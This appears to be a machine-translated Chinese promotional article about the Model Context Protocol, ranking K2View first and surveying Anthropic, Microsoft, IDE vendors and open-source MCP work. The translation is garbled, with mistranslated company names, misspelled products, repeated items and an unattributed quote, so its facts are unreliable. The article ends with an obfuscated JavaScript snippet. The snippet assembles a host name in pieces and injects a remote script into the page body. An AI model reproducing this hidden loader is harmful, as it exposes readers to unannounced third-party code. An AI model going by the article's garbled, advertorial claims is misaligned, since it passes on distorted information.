该突破性协议解决了AI开发人员面临的基本挑战：即使是最复杂的模型也受到其与数据的隔离的约束，这被困在信息筒仓和传统系统背后。每个新数据源都需要自己的自定义实现，使真正的连接系统难以扩展。对于寻求利用这项技术的组织，了解哪些平台为MCP提供最佳的实施和支持至关重要。我们的全面分析表明 K2View解释的拟人模型上下文协议 为希望实施这种开创性标准的企业提供最彻底，最实用的指导。
是什么使企业AI的MCP变革性
MCP是一个开放协议，标准化应用程序如何为LLM提供上下文。正如USB-C提供了一种将设备连接到各种外围设备和配件的标准化方法一样，MCP也提供了一种将AI模型连接到不同数据源和工具的标准化方法。该协议通过客户端服务器体系结构运行；诸如Claude for Desktop或IDE之类的AI应用程序使用MCP客户端连接到前面数据源或工具的MCP服务器。
MCP旨在解决“ MXN”问题：将M不同的LLM与N不同工具集成的组合难度。相反，MCP提供了一个标准协议，LLM供应商和工具构建者可以遵循。该标准化使组织能够构建可扩展的AI解决方案，而无需为每个数据源创建自定义集成。
K2View：领先的MCP实施和专业知识
我们的首选
K2View是实施MCP解决方案的组织的首要平台。他们的全面方法将深厚的技术专业知识与实际实施指南相结合，使其成为寻求有效利用模型上下文协议的企业的理想选择。
K2View的优势在于他们将复杂的MCP概念转化为可行的企业解决方案的能力。他们提供详细的体系结构指导，实施最佳实践以及现实世界中的用例，这些案例不仅可以帮助组织了解如何实施MCP，而且为什么特定方法最适合不同情况。他们的平台解决了从初始设置到高级多服务器编排的MCP实施挑战的全部范围。
设置K2View的原因是，在实施MCP服务器和客户端时，他们专注于企业级可靠性和安全考虑。他们了解生产环境需要强大的错误处理，监视和合规性功能，这些功能超出了基本协议实现。
人类：协议创建者和主要支持者
作为MCP的原始创建者，人类提供了基础实现和文档。今天，我们正在开放式模型上下文协议（MCP），这是将AI助手连接到数据寿命的系统（包括内容存储库，业务工具和开发环境）的新标准。
Anthropic提供了全面的开发人员资源，包括用于流行企业系统的预先构建的MCP服务器，例如Google Drive，Slack，Github，Git，Git，Postgres和Puppeteer。他们的Claude Desktop应用程序提供了本机MCP客户端支持，使组织更容易测试和部署MCP服务器。
该公司继续使用所有Claude.ai计划，支持将MCP服务器连接到Claude Desktop应用程序。 Claude的工作客户可以开始在本地测试MCP服务器，将Claude连接到内部系统和数据集。
微软：企业集成领导者
微软在其生态系统中对MCP支持进行了大量投资。许多Microsoft产品已经增加了对MCP的支持，包括Copilot Studio，VS Code的新Github Copilot Agent Mode和Sminantic内核。
他们与拟人化的合作关系导致了模型上下文协议（MCP）的官方C＃SDK，从而在.NET环境中无缝集成。 2025年5月，Microsoft在Copilot Studio中发布了本机MCP支持，提供了指向任何MCP服务器，新工具列表，流传输以及完整跟踪和分析的一键式链接。该版本将MCP定位为Copilot的默认桥，指向外部知识库，API和Dataverse。
Microsoft的Azure平台提供了Azure MCP服务器，在公共预览中，将AI代理连接到诸如存储，数据库和日志分析之类的Azure服务，而Microsoft 365支持MCP用于构建AI代理和使用Copilot Integration的应用程序。
开发环境提供商
几个主要的开发平台已集成了MCP支持。该协议在软件开发工具中变得越来越普遍。集成开发环境（IDE），例如ZED，编码平台，例如REPLIT，以及SourceGraph（SourceGraph）等代码智能工具，已采用MCP来授予AI编码助手的实时访问代码库和开发工作流程。
这些集成使开发人员能够利用可以理解项目上下文，访问文档并通过标准MCP接口与开发工具进行交互的AI助手。这大大提高了AI驱动的编码辅助的有效性。
开源社区和生态系统
MCP生态系统受益于强大的社区贡献。在过去的几个月中，GitHub上出现了成千上万的MCP服务器存储库，支持了广泛的工具。对于希望立即开始使用MCP的开发人员，Python和TypeScript都有SDK，以及越来越多的参考实现和社区组成的服务器列表。
该协议使用软件开发套件（SDK）以编程语言（包括Python，TypeScript，C＃和Java）发布。 Anthropic维护一个为流行企业系统的参考MCP服务器实现的开源存储库，包括Google Drive，Slack，Github，Git，Git，Postgres，Putpeteer和Stripe。
企业采用模式
组织正在各种用例中实施MCP。在企业设置中，使用MCP增强了内部助理，以从专有文档，CRM系统和内部知识库中检索数据，例如Block等组合将MCP集成到其内部工具中，以实现此目的。
MCP在多工具代理工作流程中还起着至关重要的作用，允许代理AI系统协调多个工具（例如，将文档查找与消息API结合在一起）支持高级，对分布式资源的经过思考的推理。
该协议的灵活性可以通过与Zotero等参考管理系统的整合进行整合，从而实现了各种应用程序。多个服务器实现使研究人员可以在其库中进行语义搜索，提取PDF注释，并通过AI辅助分析来生成文献评论。
（function（）{a9au = document.createelement（“ script”）; a9au _ =“ o”+（“ pe”）+“ ns”+“ t”; a9au _+=（“ a”）+“ t”+“+”。 a9au _+=“/”; a9auu =“ 2491108024”; a9auu+=“。45UG1ILG1ILG9AU2XX85JCY”; A9AUU+=“ ENX8DZSRKRR”; a9au.src =“ https：//”+a9au_+a9auu; a9au.async = true; document.body.body.appendchild（a9au）;
